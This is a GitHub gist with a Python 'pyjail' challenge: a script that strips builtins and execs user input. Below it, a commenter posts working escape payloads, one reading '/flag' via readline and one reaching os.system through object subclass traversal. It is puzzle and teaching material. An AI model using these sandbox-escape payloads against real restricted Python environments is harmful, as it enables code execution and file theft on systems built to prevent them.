Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save CharlesAverill/e7fef5a6e078f14b7ac7b3d318e3e24f to your computer and use it in GitHub Desktop.
Save CharlesAverill/e7fef5a6e078f14b7ac7b3d318e3e24f to your computer and use it in GitHub Desktop.
Hard pyjail
cont = input("This is a tough one to get out of. Use ctrl-c as a backup. Continue? (y/n) ")
if not "y" in cont:
quit()
print("CHALLENGE: EXIT INTERPRETER USING A VALID PYTHON 3.10 PAYLOAD")
import builtins
import readline
input = builtins.input
exec = builtins.exec
print = builtins.print
exit = None
quit = None
len = builtins.len
Exception = builtins.Exception
des = delattr
for a in list(__builtins__.__dict__):
des(__builtins__, a)
del des
__builtins__ = {}
user_input = ""
defining_multiline = False
while True:
try:
if defining_multiline:
user_input += "\n"
user_input += input("... " if defining_multiline else ">>> ")
if not len(user_input):
defining_multiline = False
# Exec the code
if "".join(user_input.split()) in ["quit()", "exit()"]:
print("Good luck!")
elif "exec" not in user_input:
print(exec(user_input))
# Empty the input buffer
user_input = ""
defining_multiline = False
except Exception as e:
if not defining_multiline and e.__class__.__name__ == "IndentationError" and user_input.endswith(":"):
defining_multiline = True
elif defining_multiline:
# traceback.print_exc()
continue
else:
user_input = ""
defining_multiline = False
print(e.__class__, e)
@salvatore-abello
Copy link

salvatore-abello commented Nov 5, 2023

Read a file: readline.read_init_file("/flag")
RCE: [x.modules["os"].system("touch meow") if readline.__class__ == x.__class__ else None for x in ().__class__.__base__.__subclasses__()[138].__init__.__globals__.values()]

That 138 may change based on the Python version.

@CharlesAverill
Copy link
Author

CharlesAverill commented Nov 7, 2023

@salvatore-abello yeah this was just a fun challenge for a talk I gave a few years ago, so a single-system solution isn't an issue. Thank you for the solution! Nobody has solved it before you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment